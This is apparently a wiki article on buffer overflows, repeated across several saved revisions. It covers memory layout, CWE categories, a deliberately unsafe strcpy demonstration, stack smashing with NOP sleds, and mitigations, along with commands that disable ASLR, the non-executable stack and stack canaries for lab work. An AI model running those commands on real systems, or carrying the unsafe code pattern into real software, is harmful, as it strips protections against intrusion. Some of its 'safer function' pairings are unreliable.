|-
| strcpy() || strncpy()
|-
| gets() || fgets()
|-
| strcat() || strncat()
|-
| memcpy() || memmove()
|-
| scanf() || sscanf()
|-
| memset() || -
|}

=== IoT/Embedded Devices ===
"The constrained resources of embedded systems leads to the predominant use of the C language. This, along with the tight processing requirements, leave associated devices open to BOF based attacks." <ref name=””> G. Mullen and L. Meany, "Assessment of Buffer Overflow Based Attacks On an IoT Operating System," 2019 Global IoT Summit (GIoTS), Aarhus, Denmark, 2019, pp. 1-6, doi: 10.1109/GIOTS.2019.8766434.
</ref>

== Dangers ==

Arguably, the most significant consequence of a buffer overflow is when the attacker is able to execute their own malicious shellcode. Which is also referred to as arbitrary code execution. This way it is completely up to the attacker itself what they will do with the same privileges as the program on the level of the current user. Create a reverse shell to execute remote code, stealing data or even manipulate all settings of the system. By getting elevated privileges, the attacker would also be able to run code as an administrator or root. Another potential consequence is a Denial of Service (DoS) attack. Instead of executing code, the goal is to cause unpredictable behavior or crash the system by overwriting as much data as possible until the program is unable to handle it. The downtime of a program can be costly for large organizations. Data corruption, system instability, and information disclosure, are all potential consequences that can be caused by a buffer overflow. Consequently, it is up to the creativity of the attacker once a vulnerable code is identified.

Summed up these four are the main dangers:

* Data Corruption
* Program Crashes
* Exploitation: Control Flow Alteration
* Exploitation (via Shellcode Injection): Arbitrary Code Execution

== Types of Buffer Overflow Vulnerabilities ==

The following section will introduce descriptions and simple examples related to the most relevant categories of buffer overflow vulnerabilities. The distinction between Buffer Over-Read and Buffer Over-Write provides a basic categorization of the issues at hand. The respective sections will include simple, illustrative examples. The sections on Stack Buffer Overflow and Heap Buffer Overflow will present more complex examples, where the mechanics and control structures of each memory region are exploited. Note that Over-Read and Over-Write vulnerabilities can occur in both sections of process memory.

=== Buffer Over-Read ===

The following is a simple example of a Out-of-bounds read operation, that can be performed by a C program:

<pre>

#include <stdio.h>
#include <string.h>

int main(){

int array[5] = {1 ,2 ,3 ,4 ,5};
printf("%d\n", array[5]);

}
</pre>

This program illustrates a common error that new programmers might run into when learning about arrays: Referencing array[5] will eventually attempt to access its sixth element, although the array was only initialized to hold five elements. When this program is run, it will read beyond the bounds of the array and might produce unexpected results.

=== Buffer Over-Write ===
In this section, a simple Out-of-bounds write vulnerability will be examined. Although this particular example showcases a stack-based buffer overflow, we will use it to introduce the general concept of a over-write vulnerability and delve into specifically exploiting the stack's mechanics and control structures in the later section "Stack-based Buffer Overflow".

The following program deliberately uses the insecure strcpy()-function to copy a large string into a buffer, which is actually too small for the string. The following listing displays the complete source code.

<pre>
#include <stdio.h>
#include <string.h>

int main() {

char B[3] = "03"; // gets higher address on stack
char A[8] = "0000000"; // gets lower address on stack

printf("Before overflow: A = %s, B = %s\n", A, B);

strcpy(A, "excessive"); // dangerous
printf("After overflow: A = %s, B = %s\n", A, B);

return 0;
}
</pre>

Console output running the program (bash).
<pre>
Before overflow: A = 0000000, B = 03
After overflow: A = excessive, B = e
</pre>

Inspection of memory before the overflow (gdb).
The memory addresses on the left are the locations of the two buffers.
<pre>
0xffffcc85: 0x30 0x30 0x30 0x30 0x30 0x30 0x30 0x00
0xffffcc8d: 0x30 0x33 0x00
</pre>

Inspection of memory after the overflow (gdb).
<pre>
0xffffcc85: 0x65 0x78 0x63 0x65 0x73 0x73 0x69 0x76
0xffffcc8d: 0x65 0x00 0x00
</pre>

=== Integer Overflow ===
Integer overflows occur when an arithmetic operation attempts to generate a value that lies outside a range that can be represented with a specified number of bits. The most common result of an overflow is that the least significant representable bits of the result are stored. An overflow condition can lead to results that are equivalent to unintended behavior. In particular, if the possibility is not expected, an overflow can affect the reliability and safety of a program. A code example is shown below.

unsigned char a = 255;
unsigned char b = 2;
unsigned char Result = a + b;

The data type unsigned char is used, which comprises 8 bits, and the value range is from 0 to 255. For the variable "a," the value 255 is assigned, and for the variable "b," the value 2 is assigned. If an arithmetic operation is performed, we would get a result that requires more bits than are present to represent. The corresponding dual calculation is shown below.

11111111 (a)
+ 00000010 (b)
----------
100000001 (Result)

The front one, the ninth bit, is no longer contained in the 8 bits of the data type ''unsigned char''. If only the last 8 bits were considered, the result would be 1 and not 257.

The Ariane 5 disaster of 1996 illustrates what can happen when integer overflows are not handled properly in the real world. The rocket was destroyed 37 seconds after launch because of a severe software error, which was caused by an integer overflow. This shows how unresolved integer overflows can have disastrous consequences, particularly in safety-critical systems like aerospace control software. The incident could have been prevented if there had been more robust input validation and error handling procedures, particularly during the conversion process from floating-point to integer data types. <ref name=”AR1”>Innovative Bytes, Ariane-5 disaster - (integer overflow - space requirements), Medium, October 2022</ref>

=== Stack-based Buffer Overflow ===

If more data is written to a buffer than the size assigned to it, there is a chance it could overwrite the adjacent memory. This is called a stack overflow. Since the memory overwritten contains valuable information like the return address, this exploitation is a prime target. As an example, consider an input string that gets copied to the stack from a vulnerable function, that does not validate the size. Whatever was written to this string, as long as it is longer than the size of the buffer, will overwrite memory next to the it. If an attacker creates a string that reaches the return address with a new address on purpose, the program will jump to this exact location after its execution. This type of attack is called "stack smashing". It is frequently used and is well-known in the context of buffer overflows. A common problem of stack smashing is how to guess the starting address of the own shellcode. Just by guessing or brute-forcing the exact return value, it would take the attacker a long time and an enormous number of attempts. This can be minimized by inserting a series of NOP instructions in front of the shellcode. A NOP instruction is a special operation which will push the execution one by one until it hits the malicious code. Adding as many NOP instructions as possible increases the chances of reaching the desired code. This means that as long as the return address points to any NOP instruction, the application will execute the shellcode and we do not have to directly hit address where the code starts.

Stack overflows which alter return addresses, are one of the most dangerous methods of gaining unauthorized access to a system. They allow an attacker to circumvent standard program execution and potentially gain complete control. <ref name="One1996"/>

=== Heap-based Buffer Overflow ===
A program may not know at compile time how much memory it will need. Such segments can be allocated dynamically, during runtime, and will be placed on the heap.
Special system calls brk() and mmap() can be used by Linux programs to achieve that.
The functions malloc(), calloc(), realloc() and free() provide convenient wrapper functions around these system calls and help managing those memory segments. <ref name=”RE1”/>

=== Use-After-Free Vulnerability ===
Use-after-free (UAF) vulnerabilities are a specialized form of a memory management bug occurring when a program tries to use a memory object even though it is already deallocated. This vulnerability can happen, because the pointer to the corresponding memory location may remain accessible, despite the memory itself being marked as accessible for other allocations. If a program tries to access this now-freed memory, it could cause some unexpected behavior or even a security breach. Since an attacker could exploit this "dangling pointer" to gain unauthorized access to the system or leak information meant to be kept confidential. <ref name="UAF">Byoungyoung Lee, Chengyu Song, Yeongjin Jang, Tielei Wang, Taesoo Kim, Long Lu, and Wenke Lee. Preventing use-after-free with dangling pointers nullification. In Network and Distributed System Security Symposium, 2015</ref>

== Mitigation Techniques and How to Disable Them ==
This section will briefly introduce some mitigation techniques that can potentially prevent buffer overflow attacks. First, it will explain the basic concepts in a simple way, and second, it will provide brief guides on how to disable certain mitigation techniques for research purposes.

=== Adress Space Layout Randomisation (ASLR) ===
ASLR randomizes the memory address space layout of processes, making it harder to predict the location of specific functions or buffers. <ref name=”RE1”/> Since code reuse attacks (e.g., ROP attacks) require the memory addresses of gadgets to be known to an attacker, techniques to randomize their entry points have become increasingly popular.

'''ASLR can be temporarily disabled''' at the system level (Linux):
<pre>
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
</pre>
Re-enable after testing:
<pre>
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
</pre>

=== Non-executable Stack (nx-stack) ===
A non-executable stack, or nx-stack, prevents execution of code in the stack, when designated as non-executable, mitigating buffer overflow attacks that inject shellcode into that region. <ref name=”RE1”/>

To '''disable nx-stack''' on a program, use the -z execstack option during compilation. This allows execution of code in the stack memory:
<pre>
gcc -z execstack -o vulnerable_program source.c
</pre>

=== Data Execution Prevention (DEP) ===

Data Execution Prevention (DEP) is a security feature originally developed by MicrosoftR© for Windows XP SP2. There are two basic variants: hardware-based DEP and software-based DEP. If supported by the CPU as well as the process, hardware DEP will be employed; otherwise, DEP has to be carried out in software, which is part of the Windows operating system. The basic functionality of DEP is to prevent applications from executing code in a non-executable area of memory.

=== Stack Canaries ===

Stack canaries are small random values placed on the stack to detect and prevent buffer overflow attacks. If an overflow occurs and modifies the stack, the canary value will change, triggering a security alert or crash. <ref name=”RE1”/>
Typical types of canaries, which are supported by security hardening technologies like ProPolice or Stackguard (GCC), are terminator canaries, random canaries, and random XOR canaries.

To '''disable stack canaries''' when compiling a program, use the -fno-stack-protector option with gcc:
<pre>
gcc -fno-stack-protector -o vulnerable_program source.c
</pre>

== Conclusion ==
Since the rise of C in the early 1970s, buffer overflows have become a serious security vulnerability. Even though high-level programming languages are typically not affected, the number of vulnerable systems is actually rising. At the same time, a wide array of countermeasures are also increasingly adopted and applied. Features like executable space protection (e.g., data execution prevention under Windows) have already been deployed since the mid-2000s, and on the compiler side, technologies like Stackguard support several detection and prevention mechanisms (e.g., different types of canaries). Furthermore, almost every widely used operation system supports Address Space Layout Randomization in order to minimize the attack surface for buffer overflow attacks. For example, at the beginning of 2020, most of the bigger operating systems (Linux, Windows, macOS, iOS, Android, Solaris, OpenBSD, etc.) will offer support for ASLR.

Another key point is the expansion of the Internet of Things (IoT). These widely distributed networks of hardware endpoints have deemed themselves the perfect target for buffer overflow attacks. This stems from the fact that IoT applications mostly utilize low-level, closely hardware-related languages such as C and C++, both of which are almost exclusively for buffer overflows.

== References ==

<references />

* [http://phrack.org/issues/49/14.html Smashing the stack for fun and profit (1996, Aleph One)]
* [http://phrack.org/issues/60/10.html#article Basic Integer Overflows (2002, Blexim)]
* [https://doi.org/10.1109/SP.2013.45 Just-In-Time Code Reuse: On the Effectiveness of Fine-Grained Address Space Layout Randomization (2013, Snow et al.)]
* [http://www.cs.ucf.edu/~czou/CDA6938-06/Buffer%20Overflows.pdf Buffer Overflow for Dummies (2002, Josef Nelißen)]
* [https://www.hackingarticles.in/a-beginners-guide-to-buffer-overflow/ A Beginner’s Guide to Buffer Overflow (2021, Raj Chandel)]
* [https://repository.unikom.ac.id/56387/1/24_Deadly_Sin.pdf 24 Deadly Sins of Software Security (2009, Michael Howard, David LeBlanc, and John Viega)]
* [https://scholar.google.com/scholar_case?case=551386241451639668 United States v. Morris (1991, U.S. Dept. of Justice)]
* [https://cwe.mitre.org/top25/archive/2023/2023_top25_list.html 2023 CWE Top 25 Most Dangerous Software Weaknesses (2023, CWE)]
* [https://computersciencewiki.org/index.php?title=Stack_memory Stack memory (2023, Bill MacKenty)]
* [https://computersciencewiki.org/index.php?title=Heap_memory Heap memory (2023, Bill MacKenty)]
* [https://dhanvina.medium.com/ariane-5-disaster-integer-overflow-space-requirements-b96f4dda8bdb Ariane 5 (2022, Innovative Bytes)]
* [https://www.researchgate.net/publication/281784645_Preventing_Use-after-free_with_Dangling_Pointers_Nullification Use-after-free bug (2015, Lee et al.)]

[[Category:Basic]]

Buffer Overflows

2024-12-11T17:08:42Z

AKofranek: /* Heap-based Buffer Overflow */

[[File:Buffer-overflow.png|500px|thumb|right|Buffer Overflow examle <ref name="BOB">What is a Buffer Overflow Attack, [Online]. Available: https://www.wallarm.com/what/buffer-overflow-attack-definition-types-use-by-hackers-part-1. Accessed: Dec. 11, 2024</ref>]]

== Introduction ==
Buffer overflow is a security vulnerability that should not be underestimated, as it has been the most common type of vulnerability in the last decade. This type of attack is an essential part of all security attacks, as buffer overflow vulnerabilities are widespread and easy to exploit. Especially in the field of cyber attacks, they are exploited by users to gain access to vulnerable servers and control them.

== Definitions ==

=== Buffer ===

A buffer is defined as a '''limited''', contiguously allocated set of memory. The most common buffer in C is an array. <ref name=”RE1”>C. Anley, The Shellcoder’s Handbook: Discovering and Exploiting Security Holes, 2nd ed., Indianapolis: Wiley, 2007</ref>

=== Buffer Overflow ===

Buffer Overflows are possible because in the C and C++ languages there exists no inherent bounds-checking to ensure that data being copied into a buffer will not be larger than what the buffer was initialized to hold. Consequently, if the person writing the program has not explicitly coded the program to check for oversize input, it is possible for data to fill a buffer, and if that data is large enough, to continue to write past the end of the buffer. <ref name=”RE1”/>

== Common Weakness Enumeration (CWE) ==

The importance of addressing buffer overflow vulnerabilities can be seen by examining Mitre’s respective parent category: <ref name=”MIT23a”> MITRE, "CVE Search Results for 'buffer overflow'," [Online]. Available: https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=buffer+overflow. Accessed: Oct. 16, 2024. </ref>

* CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer

There is a large variety of direct and indirect child categories that further help create a taxonomy of the issues at hand. Some of those are listed here:
<ref name="MIT23b">MITRE, "CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer," [Online]. Available: https://cwe.mitre.org/data/definitions/119.html. Accessed: Oct. 16, 2024.</ref>
<ref name="MIT23c">MITRE, "CWE-788: Access of Memory Location After End of Buffer," [Online]. Available: https://cwe.mitre.org/data/definitions/788.html. Accessed: Oct. 16, 2024.</ref>

* CWE-788: Access of Memory Location After End of Buffer
* CWE-787: Out-of-bounds Write
* CWE-786: Access of Memory Location Before Start of Buffer
* CWE-125: Out-of-bounds Read
* CWE-120: Buffer Copy Without Checking Size of Input (’Classic Buffer Over- flow’)
* CWE-121: Stack-based Buffer Overflow
* CWE-122: Heap-based Buffer Overflow
* CWE-126: Buffer Over-read

== History ==
In the past, there were often a series of events executed with the help of buffer overflows. In 1980, the term Internet worm was a very well-known and sensitive topic because a worm was malicious software that reproduced itself and spread through network connections. It was called a Morris worm because on November 2, 1988, an event occurred that changed the way people thought about networks and about the Internet. On that day, tens of thousands of computers quickly and simultaneously became infected with a self-replicating computer program. Back then, computer science student Robert T. Morris created a computer worm that exploited an unsafe function, which at the time was very commonly used and distributed. Through the practical application of a buffer overflow, the computer worm spread itself around at an alarming rate and, going back, nearly shut down the entire internet. This situation resulted in Morris being the first person convicted under the Computer Fraud and Abuse Act, demonstrating further how dangerous buffer overflows can be. To this day, this attack is perhaps one of the most significant events in the history of computing. With buffer overflows, it was also possible to bypass various security measures. For example, buffer overflows could be used to remove software restrictions from firmware or to bypass copy protection. This was the case with the Android and iOS operating systems, where it was possible to remove various locks and modify the smartphone according to one's own wishes. For example, it was possible to install apps that were not available in the store elsewhere, change the boot animation, access hidden system files, remove manufacturer-specific apps, remove network locks, and much more. One keyword is "jailbreaking" for Apple devices and "rooting" for Android devices. On Nintendo's game console, a game called Pokemon Yellow could be changed from the inside by manipulating the program using shellcode.

While many of these events already reside in the past, buffer overflows do not. The exploit reoccurs frequently, so much so that in 2023 they still secured themselves a spot on the Common Weakness Enumeration/SANS list of the Top 25 Most Dangerous Software Errors. Whether through the adaptation of the exploit's mechanism or simply by focusing on a new set of targets, buffer overflows stay relevant. That's why, when dealing with cybersecurity of any sort, there is no way past them.

== Technical Background and Context ==

=== Memory Layout of a Process ===

Informally, a process is a '''program in execution'''. The status of the current activity of a process is represented by the value of the '''program counter/instruction pointer''' and the content of the processor’s '''registers'''. Different parts of the program are stored in different memory segments, as shown in the figure below.

[[File:Memory structure.png|center]][https://www.cs.ucf.edu/~czou/CDA6938-06/Buffer%20Overflows.pdf#page=8]

* Stack section: temporary data storage when invoking functions (such as function parameters, return addresses, and local variables)
* Heap section: memory that is dynamically allocated during program run time
* Data section: global variables (initialized and uninitialized)
* Code/Text section: the executable, machine-readable bytecode

=== Readable, Writeable, Executable Memory ===

Memory regions have different rights with respect to the process they belong to. For instance, the text section will usually be marked read only and any attempt to write to it will result in a '''Segmentation Fault'''.
<ref name="One1996">A. One, "Smashing the Stack for Fun and Profit," Phrack, vol. 7, no. 49, Nov. 1996.</ref>
All other sections have to be writeable in order for the process to work properly. <ref name=”RE1”/> Whether a section is '''executable''', will largely depend on the applied settings during compilation of the program and the platform on which it is executed.

=== The Stack and Important Control Structures ===

The stack’s primary purpose is to implement and help with the use of functions. A function call alters the flow of execution through a program. However, when its task is completed, a '''function returns control''' to the statement or instruction following the function call. Furthermore, the stack is used to allocate memory for the local variables used in the functions and to return values from the function. <ref name="One1996"/>

During a function call, arguments are pushed onto the stack in reverse order, and the '''return address''' (the instruction pointer EIP) is saved to enable returning to the caller after function execution. Key stack-related registers are:

* EIP (Instruction Pointer): Stores the next instruction's address.
* ESP (Stack Pointer): Points to the top of the stack.
* EBP (Base Pointer): Marks the base of the stack frame for the current function.

When a function is called, the stack is manipulated using '''PUSH''' and '''POP''' instructions. A '''return address''' is pushed onto the stack, allowing the program to return to the calling function. Buffer overflows can occur if a function does not properly limit the size of data written to buffers, potentially '''overwriting the return address'''. An attacker may '''overwrite the return pointer to redirect the flow of execution'''.

== Causes ==

=== C/C++: Vulnerable Functions ===
C is the programming language most affected when it comes to creating buffer overflows, closely followed by C++.
<ref name="Howard2009">M. Howard, D. LeBlanc, and J. Viega, *24 Deadly Sins of Software Security: Programming Flaws and How to Fix Them*, 1st ed. USA: McGraw-Hill, Inc., 2009.</ref>
When writing C code the programmer is responsible for '''data integrity'''. If this responsibility were shifted over to the compiler, the resulting binaries would be significantly slower and less efficient. Furthermore, C’s simplicity increases the programmer’s control. However, this can result in programs that are vulnerable to buffer overflows and memory leaks if the programmer isn’t careful.
<ref name="Erickson2008">J. Erickson, *Hacking: The Art of Exploitation*, 2nd ed. San Francisco: No Starch Press, 2008.</ref>

Some '''vulnerable functions''' from the C/C++ standard are listed here, each with their respective, saver counterpart:
{|class="wikitable"
! Vulnerable || Safer
|-
| strcpy() || strncpy()
|-
| gets() || fgets()
|-
| strcat() || strncat()
|-
| memcpy() || memmove()
|-
| scanf() || sscanf()
|-
| memset() || -
|}

=== IoT/Embedded Devices ===
"The constrained resources of embedded systems leads to the predominant use of the C language. This, along with the tight processing requirements, leave associated devices open to BOF based attacks." <ref name=””> G. Mullen and L. Meany, "Assessment of Buffer Overflow Based Attacks On an IoT Operating System," 2019 Global IoT Summit (GIoTS), Aarhus, Denmark, 2019, pp. 1-6, doi: 10.1109/GIOTS.2019.8766434.
</ref>

== Dangers ==

Arguably, the most significant consequence of a buffer overflow is when the attacker is able to execute their own malicious shellcode. Which is also referred to as arbitrary code execution. This way it is completely up to the attacker itself what they will do with the same privileges as the program on the level of the current user. Create a reverse shell to execute remote code, stealing data or even manipulate all settings of the system. By getting elevated privileges, the attacker would also be able to run code as an administrator or root. Another potential consequence is a Denial of Service (DoS) attack. Instead of executing code, the goal is to cause unpredictable behavior or crash the system by overwriting as much data as possible until the program is unable to handle it. The downtime of a program can be costly for large organizations. Data corruption, system instability, and information disclosure, are all potential consequences that can be caused by a buffer overflow. Consequently, it is up to the creativity of the attacker once a vulnerable code is identified.

Summed up these four are the main dangers:

* Data Corruption
* Program Crashes
* Exploitation: Control Flow Alteration
* Exploitation (via Shellcode Injection): Arbitrary Code Execution

== Types of Buffer Overflow Vulnerabilities ==

The following section will introduce descriptions and simple examples related to the most relevant categories of buffer overflow vulnerabilities. The distinction between Buffer Over-Read and Buffer Over-Write provides a basic categorization of the issues at hand. The respective sections will include simple, illustrative examples. The sections on Stack Buffer Overflow and Heap Buffer Overflow will present more complex examples, where the mechanics and control structures of each memory region are exploited. Note that Over-Read and Over-Write vulnerabilities can occur in both sections of process memory.

=== Buffer Over-Read ===

The following is a simple example of a Out-of-bounds read operation, that can be performed by a C program:

<pre>

#include <stdio.h>
#include <string.h>

int main(){

int array[5] = {1 ,2 ,3 ,4 ,5};
printf("%d\n", array[5]);

}
</pre>

This program illustrates a common error that new programmers might run into when learning about arrays: Referencing array[5] will eventually attempt to access its sixth element, although the array was only initialized to hold five elements. When this program is run, it will read beyond the bounds of the array and might produce unexpected results.

=== Buffer Over-Write ===
In this section, a simple Out-of-bounds write vulnerability will be examined. Although this particular example showcases a stack-based buffer overflow, we will use it to introduce the general concept of a over-write vulnerability and delve into specifically exploiting the stack's mechanics and control structures in the later section "Stack-based Buffer Overflow".

The following program deliberately uses the insecure strcpy()-function to copy a large string into a buffer, which is actually too small for the string. The following listing displays the complete source code.

<pre>
#include <stdio.h>
#include <string.h>

int main() {

char B[3] = "03"; // gets higher address on stack
char A[8] = "0000000"; // gets lower address on stack

printf("Before overflow: A = %s, B = %s\n", A, B);

strcpy(A, "excessive"); // dangerous
printf("After overflow: A = %s, B = %s\n", A, B);

return 0;
}
</pre>

Console output running the program (bash).
<pre>
Before overflow: A = 0000000, B = 03
After overflow: A = excessive, B = e
</pre>

Inspection of memory before the overflow (gdb).
The memory addresses on the left are the locations of the two buffers.
<pre>
0xffffcc85: 0x30 0x30 0x30 0x30 0x30 0x30 0x30 0x00
0xffffcc8d: 0x30 0x33 0x00
</pre>

Inspection of memory after the overflow (gdb).
<pre>
0xffffcc85: 0x65 0x78 0x63 0x65 0x73 0x73 0x69 0x76
0xffffcc8d: 0x65 0x00 0x00
</pre>

=== Integer Overflow ===
Integer overflows occur when an arithmetic operation attempts to generate a value that lies outside a range that can be represented with a specified number of bits. The most common result of an overflow is that the least significant representable bits of the result are stored. An overflow condition can lead to results that are equivalent to unintended behavior. In particular, if the possibility is not expected, an overflow can affect the reliability and safety of a program. A code example is shown below.

unsigned char a = 255;
unsigned char b = 2;
unsigned char Result = a + b;

The data type unsigned char is used, which comprises 8 bits, and the value range is from 0 to 255. For the variable "a," the value 255 is assigned, and for the variable "b," the value 2 is assigned. If an arithmetic operation is performed, we would get a result that requires more bits than are present to represent. The corresponding dual calculation is shown below.

11111111 (a)
+ 00000010 (b)
----------
100000001 (Result)

The front one, the ninth bit, is no longer contained in the 8 bits of the data type ''unsigned char''. If only the last 8 bits were considered, the result would be 1 and not 257.

The Ariane 5 disaster of 1996 illustrates what can happen when integer overflows are not handled properly in the real world. The rocket was destroyed 37 seconds after launch because of a severe software error, which was caused by an integer overflow. This shows how unresolved integer overflows can have disastrous consequences, particularly in safety-critical systems like aerospace control software. The incident could have been prevented if there had been more robust input validation and error handling procedures, particularly during the conversion process from floating-point to integer data types. <ref name=”AR1”>Innovative Bytes, Ariane-5 disaster - (integer overflow - space requirements), Medium, October 2022</ref>

=== Stack-based Buffer Overflow ===

If more data is written to a buffer than the size assigned to it, there is a chance it could overwrite the adjacent memory. This is called a stack overflow. Since the memory overwritten contains valuable information like the return address, this exploitation is a prime target. As an example, consider an input string that gets copied to the stack from a vulnerable function, that does not validate the size. Whatever was written to this string, as long as it is longer than the size of the buffer, will overwrite memory next to the it. If an attacker creates a string that reaches the return address with a new address on purpose, the program will jump to this exact location after its execution. This type of attack is called "stack smashing". It is frequently used and is well-known in the context of buffer overflows. A common problem of stack smashing is how to guess the starting address of the own shellcode. Just by guessing or brute-forcing the exact return value, it would take the attacker a long time and an enormous number of attempts. This can be minimized by inserting a series of NOP instructions in front of the shellcode. A NOP instruction is a special operation which will push the execution one by one until it hits the malicious code. Adding as many NOP instructions as possible increases the chances of reaching the desired code. This means that as long as the return address points to any NOP instruction, the application will execute the shellcode and we do not have to directly hit address where the code starts.

Stack overflows which alter return addresses, are one of the most dangerous methods of gaining unauthorized access to a system. They allow an attacker to circumvent standard program execution and potentially gain complete control. <ref name="One1996"/>

=== Heap-based Buffer Overflow ===
A program may not know at compile time how much memory it will need. Such seg-
ments can be allocated dynamically, during runtime, and will be placed on the heap.
Special system calls brk() and mmap() can be used by Linux programs to achieve that.
The functions malloc(), calloc(), realloc() and free() provide convenient wrapper func-
tions around these system calls and help managing those memory segments. <ref name=”RE1”/>

=== Use-After-Free Vulnerability ===
Use-after-free (UAF) vulnerabilities are a specialized form of a memory management bug occurring when a program tries to use a memory object even though it is already deallocated. This vulnerability can happen, because the pointer to the corresponding memory location may remain accessible, despite the memory itself being marked as accessible for other allocations. If a program tries to access this now-freed memory, it could cause some unexpected behavior or even a security breach. Since an attacker could exploit this "dangling pointer" to gain unauthorized access to the system or leak information meant to be kept confidential. <ref name="UAF">Byoungyoung Lee, Chengyu Song, Yeongjin Jang, Tielei Wang, Taesoo Kim, Long Lu, and Wenke Lee. Preventing use-after-free with dangling pointers nullification. In Network and Distributed System Security Symposium, 2015</ref>

== Mitigation Techniques and How to Disable Them ==
This section will briefly introduce some mitigation techniques that can potentially prevent buffer overflow attacks. First, it will explain the basic concepts in a simple way, and second, it will provide brief guides on how to disable certain mitigation techniques for research purposes.

=== Adress Space Layout Randomisation (ASLR) ===
ASLR randomizes the memory address space layout of processes, making it harder to predict the location of specific functions or buffers. <ref name=”RE1”/> Since code reuse attacks (e.g., ROP attacks) require the memory addresses of gadgets to be known to an attacker, techniques to randomize their entry points have become increasingly popular.

'''ASLR can be temporarily disabled''' at the system level (Linux):
<pre>
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
</pre>
Re-enable after testing:
<pre>
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
</pre>

=== Non-executable Stack (nx-stack) ===
A non-executable stack, or nx-stack, prevents execution of code in the stack, when designated as non-executable, mitigating buffer overflow attacks that inject shellcode into that region. <ref name=”RE1”/>

To '''disable nx-stack''' on a program, use the -z execstack option during compilation. This allows execution of code in the stack memory:
<pre>
gcc -z execstack -o vulnerable_program source.c
</pre>

=== Data Execution Prevention (DEP) ===

Data Execution Prevention (DEP) is a security feature originally developed by MicrosoftR© for Windows XP SP2. There are two basic variants: hardware-based DEP and software-based DEP. If supported by the CPU as well as the process, hardware DEP will be employed; otherwise, DEP has to be carried out in software, which is part of the Windows operating system. The basic functionality of DEP is to prevent applications from executing code in a non-executable area of memory.

=== Stack Canaries ===

Stack canaries are small random values placed on the stack to detect and prevent buffer overflow attacks. If an overflow occurs and modifies the stack, the canary value will change, triggering a security alert or crash. <ref name=”RE1”/>
Typical types of canaries, which are supported by security hardening technologies like ProPolice or Stackguard (GCC), are terminator canaries, random canaries, and random XOR canaries.

To '''disable stack canaries''' when compiling a program, use the -fno-stack-protector option with gcc:
<pre>
gcc -fno-stack-protector -o vulnerable_program source.c
</pre>

== Conclusion ==
Since the rise of C in the early 1970s, buffer overflows have become a serious security vulnerability. Even though high-level programming languages are typically not affected, the number of vulnerable systems is actually rising. At the same time, a wide array of countermeasures are also increasingly adopted and applied. Features like executable space protection (e.g., data execution prevention under Windows) have already been deployed since the mid-2000s, and on the compiler side, technologies like Stackguard support several detection and prevention mechanisms (e.g., different types of canaries). Furthermore, almost every widely used operation system supports Address Space Layout Randomization in order to minimize the attack surface for buffer overflow attacks. For example, at the beginning of 2020, most of the bigger operating systems (Linux, Windows, macOS, iOS, Android, Solaris, OpenBSD, etc.) will offer support for ASLR.

Another key point is the expansion of the Internet of Things (IoT). These widely distributed networks of hardware endpoints have deemed themselves the perfect target for buffer overflow attacks. This stems from the fact that IoT applications mostly utilize low-level, closely hardware-related languages such as C and C++, both of which are almost exclusively for buffer overflows.

== References ==

<references />

* [http://phrack.org/issues/49/14.html Smashing the stack for fun and profit (1996, Aleph One)]
* [http://phrack.org/issues/60/10.html#article Basic Integer Overflows (2002, Blexim)]
* [https://doi.org/10.1109/SP.2013.45 Just-In-Time Code Reuse: On the Effectiveness of Fine-Grained Address Space Layout Randomization (2013, Snow et al.)]
* [http://www.cs.ucf.edu/~czou/CDA6938-06/Buffer%20Overflows.pdf Buffer Overflow for Dummies (2002, Josef Nelißen)]
* [https://www.hackingarticles.in/a-beginners-guide-to-buffer-overflow/ A Beginner’s Guide to Buffer Overflow (2021, Raj Chandel)]
* [https://repository.unikom.ac.id/56387/1/24_Deadly_Sin.pdf 24 Deadly Sins of Software Security (2009, Michael Howard, David LeBlanc, and John Viega)]
* [https://scholar.google.com/scholar_case?case=551386241451639668 United States v. Morris (1991, U.S. Dept. of Justice)]
* [https://cwe.mitre.org/top25/archive/2023/2023_top25_list.html 2023 CWE Top 25 Most Dangerous Software Weaknesses (2023, CWE)]
* [https://computersciencewiki.org/index.php?title=Stack_memory Stack memory (2023, Bill MacKenty)]
* [https://computersciencewiki.org/index.php?title=Heap_memory Heap memory (2023, Bill MacKenty)]
* [https://dhanvina.medium.com/ariane-5-disaster-integer-overflow-space-requirements-b96f4dda8bdb Ariane 5 (2022, Innovative Bytes)]
* [https://www.researchgate.net/publication/281784645_Preventing_Use-after-free_with_Dangling_Pointers_Nullification Use-after-free bug (2015, Lee et al.)]

[[Category:Basic]]

Buffer Overflows

2024-12-11T17:01:40Z

AKofranek: /* Buffer Over-Write */

[[File:Buffer-overflow.png|500px|thumb|right|Buffer Overflow examle <ref name="BOB">What is a Buffer Overflow Attack, [Online]. Available: https://www.wallarm.com/what/buffer-overflow-attack-definition-types-use-by-hackers-part-1. Accessed: Dec. 11, 2024</ref>]]

== Introduction ==
Buffer overflow is a security vulnerability that should not be underestimated, as it has been the most common type of vulnerability in the last decade. This type of attack is an essential part of all security attacks, as buffer overflow vulnerabilities are widespread and easy to exploit. Especially in the field of cyber attacks, they are exploited by users to gain access to vulnerable servers and control them.

== Definitions ==

=== Buffer ===

A buffer is defined as a '''limited''', contiguously allocated set of memory. The most common buffer in C is an array. <ref name=”RE1”>C. Anley, The Shellcoder’s Handbook: Discovering and Exploiting Security Holes, 2nd ed., Indianapolis: Wiley, 2007</ref>

=== Buffer Overflow ===

Buffer Overflows are possible because in the C and C++ languages there exists no inherent bounds-checking to ensure that data being copied into a buffer will not be larger than what the buffer was initialized to hold. Consequently, if the person writing the program has not explicitly coded the program to check for oversize input, it is possible for data to fill a buffer, and if that data is large enough, to continue to write past the end of the buffer. <ref name=”RE1”/>

== Common Weakness Enumeration (CWE) ==

The importance of addressing buffer overflow vulnerabilities can be seen by examining Mitre’s respective parent category: <ref name=”MIT23a”> MITRE, "CVE Search Results for 'buffer overflow'," [Online]. Available: https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=buffer+overflow. Accessed: Oct. 16, 2024. </ref>

* CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer

There is a large variety of direct and indirect child categories that further help create a taxonomy of the issues at hand. Some of those are listed here:
